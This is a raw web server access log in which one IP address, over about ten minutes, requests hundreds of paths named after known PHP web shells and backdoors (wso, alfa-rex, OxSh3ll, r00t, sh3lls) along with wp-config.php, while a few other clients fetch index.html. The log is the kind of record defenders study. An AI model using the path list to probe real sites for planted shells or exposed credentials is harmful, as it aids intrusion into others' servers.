196.251.80.56 - - [23/Sep/2025:11:29:40 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:45 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:46 -0400] "GET /fm1.php/alfadheat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:49 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:51 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:51 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:52 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:00 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:00 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:00 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:00 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:45 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:45 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:47 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:55 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:58 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:03 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:17 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:19 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:19 -0400] "GET /cytox.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:22 -0400] "GET /22x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:24 -0400] "GET /63ck0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:25 -0400] "GET /4iazf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:27 -0400] "GET /63eitk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:29 -0400] "GET /Kidkems.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:32 -0400] "GET /TitaniumEx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:41 -0400] "GET /menus.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:42 -0400] "GET /degree.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:44 -0400] "GET /contact-us.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:49 -0400] "GET /i%20-%20Copy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:55 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:00 -0400] "GET /vtemk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:02 -0400] "GET /wso6.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:05 -0400] "GET /efz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:07 -0400] "GET /OxSh3ll.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:11 -0400] "GET /padrissm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:16 -0400] "GET /wso.4.2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:21 -0400] "GET /Hj9BqrHl4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:23 -0400] "GET /Kidkem.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:27 -0400] "GET /oinfckui.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:31 -0400] "GET /mds.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:32 -0400] "GET /XE62_E.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:34 -0400] "GET /A84x230.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:36 -0400] "GET /6s6s6s6s6.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:37 -0400] "GET /1100.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:40 -0400] "GET /0b0p.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:42 -0400] "GET /wordpressdb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:44 -0400] "GET /oH6cf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:46 -0400] "GET /R4J0rdnDwo5.php HTTP/1.1" 301 795 "-" "-"
13.40.84.140 - - [23/Sep/2025:11:31:53 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:11:31:53 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:11:30:06 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:08 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:11 -0400] "GET /ws.php.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:13 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:34 -0400] "GET /azxikx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:37 -0400] "GET /topnav.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:39 -0400] "GET /rojo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:45 -0400] "GET /courses.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:46 -0400] "GET /right-minu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:47 -0400] "GET /ket.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:48 -0400] "GET /n6unml.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:50 -0400] "GET /cz5nb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:52 -0400] "GET /park.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:54 -0400] "GET /sr7x2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:30:57 -0400] "GET /t9x1lv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:03 -0400] "GET /zuu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:09 -0400] "GET /amex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:14 -0400] "GET /daxmxgmo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:18 -0400] "GET /wsor00t.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:19 -0400] "GET /sicario.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:25 -0400] "GET /mi7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:29 -0400] "GET /mailn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:48 -0400] "GET /alfa.pHp2 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:49 -0400] "GET /wp-includes/alfa.pHp2 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:51 -0400] "GET /rc.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:53 -0400] "GET /shell_utchiha.Php HTTP/1.1" 301 795 "-" "-"
146.190.11.185 - - [23/Sep/2025:11:31:54 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:11:31:55 -0400] "GET /cannabis-E6iUmOl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:57 -0400] "GET /engine.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:31:58 -0400] "GET /uFZC.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:01 -0400] "GET /xinder.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:03 -0400] "GET /classfuns.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:12 -0400] "GET /jOsnjdqoIq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:13 -0400] "GET /freedoms.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:17 -0400] "GET /getid3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:19 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:20 -0400] "GET /d3fucbzm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:21 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:24 -0400] "GET /Exception.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:25 -0400] "GET /jembut.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:27 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:30 -0400] "GET /apps/vendor/error405.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:35 -0400] "GET /fox.aspx HTTP/1.1" 301 795 "-" "-"
45.133.173.25 - - [23/Sep/2025:11:31:53 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:11:32:05 -0400] "GET /ioxi2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:06 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:08 -0400] "GET /urhybuta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:10 -0400] "GET /0uSa4fJ5g.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:16 -0400] "GET /alfa-rex.php8 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:18 -0400] "GET /coav.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:29 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:32 -0400] "GET /includes/as.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:33 -0400] "GET /semp4x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:41 -0400] "GET /ioxi-rex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:47 -0400] "GET /worm.PhP7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:50 -0400] "GET /seo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:53 -0400] "GET /Wp-Com.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:55 -0400] "GET /4uil2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:03 -0400] "GET /413.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:07 -0400] "GET /wordfence-waf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:09 -0400] "GET /Wp-Org.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:11 -0400] "GET /Th1qKCqc3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:15 -0400] "GET /cashguci.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:16 -0400] "GET /Scorpion.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:17 -0400] "GET /WqRGX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:20 -0400] "GET /wp-admin/seo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:24 -0400] "GET /adeetfwn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:26 -0400] "GET /cpanel HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:27 -0400] "GET /ioxi-rex3.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:30 -0400] "GET /ioxi-rex4.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:32 -0400] "GET /hacker.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:34 -0400] "GET /xlcatev.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:39 -0400] "GET /sellex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:42 -0400] "GET /wp-content/plugins/index.php?0DAY=Spamworldpro HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:45 -0400] "GET /wIqTT.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:55 -0400] "GET /ABSH.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:57 -0400] "GET /adminer-5zynb.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:04 -0400] "GET /wp-config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:04 -0400] "GET /703L.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:06 -0400] "GET /shell.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:10 -0400] "GET /14.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:12 -0400] "GET /15.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:13 -0400] "GET /16.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:15 -0400] "GET /17.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:19 -0400] "GET /19.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:25 -0400] "GET /23.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:37 -0400] "GET /ioxi1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:39 -0400] "GET /405.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:43 -0400] "GET /sym403bp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:45 -0400] "GET /worm1.PhP7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:48 -0400] "GET /wp-data.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:51 -0400] "GET /144.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:32:59 -0400] "GET /500.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:01 -0400] "GET /404.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:04 -0400] "GET /ak5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:06 -0400] "GET /400.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:13 -0400] "GET /tesTocs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:22 -0400] "GET /wp/seo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:26 -0400] "GET /ioxi-rex5.php7 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:32 -0400] "GET /images HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:35 -0400] "GET /tesTclp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:37 -0400] "GET /hacked.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:40 -0400] "GET /hekel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:42 -0400] "GET /heker.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:47 -0400] "GET /zja.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:48 -0400] "GET /worisleo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:49 -0400] "GET /sea.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:51 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:52 -0400] "GET /8pl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:53 -0400] "GET /7776.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:56 -0400] "GET /r00t.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:33:59 -0400] "GET /wps.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:00 -0400] "GET /7621.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:02 -0400] "GET /idx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:07 -0400] "GET /11.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:08 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:17 -0400] "GET /18.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:20 -0400] "GET /20.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:21 -0400] "GET /21.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:23 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:28 -0400] "GET /25.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:32 -0400] "GET /27.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:34 -0400] "GET /28.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:37 -0400] "GET /30.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:43 -0400] "GET /32.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:46 -0400] "GET /34.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:51 -0400] "GET /36.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:54 -0400] "GET /38.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:55 -0400] "GET /39.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:59 -0400] "GET /42.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:08 -0400] "GET /45.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:13 -0400] "GET /47.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:21 -0400] "GET /kontol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:23 -0400] "GET /memek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:24 -0400] "GET /peju.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:25 -0400] "GET /onion.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:27 -0400] "GET /malay.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:37 -0400] "GET /indo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:39 -0400] "GET /1945.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:42 -0400] "GET /lax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:50 -0400] "GET /ngentod.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:54 -0400] "GET /galau.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:58 -0400] "GET /pc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:00 -0400] "GET /pacman.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:01 -0400] "GET /kudaxload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:03 -0400] "GET /kudaxload.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:10 -0400] "GET /kagetguababi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:13 -0400] "GET /indonesia.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:14 -0400] "GET /terserah.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:16 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:17 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:17 -0400] "GET /index.php?3x=3x HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:21 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:21 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:26 -0400] "GET /.-php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:29 -0400] "GET /-_-.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:33 -0400] "GET /ies.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:40 -0400] "GET /anon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:36:55 -0400] "GET /4n0n.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:37:04 -0400] "GET /an0n.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:37:08 -0400] "GET /4non.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:37:22 -0400] "GET /whitehat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:37:30 -0400] "GET /h4t.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:37:34 -0400] "GET /h3k.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:37:40 -0400] "GET /f1l3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:37:50 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:37:55 -0400] "GET /sh3lls.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:38:05 -0400] "GET /dork.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:38:16 -0400] "GET /1A.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:38:22 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:38:29 -0400] "GET /f77.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:38:35 -0400] "GET /heker.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:38:47 -0400] "GET /k0nt0l.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:38:50 -0400] "GET /mmk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:39:05 -0400] "GET /mail-test.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:39:09 -0400] "GET /hidden.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:39:13 -0400] "GET /regis.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:26 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:30 -0400] "GET /26.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:35 -0400] "GET /29.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:40 -0400] "GET /31.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:44 -0400] "GET /33.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:48 -0400] "GET /35.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:52 -0400] "GET /37.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:34:56 -0400] "GET /40.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:02 -0400] "GET /43.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:35:05 -0400] "GET /44.php HTTP/1.1" 301 795 "-" "-"
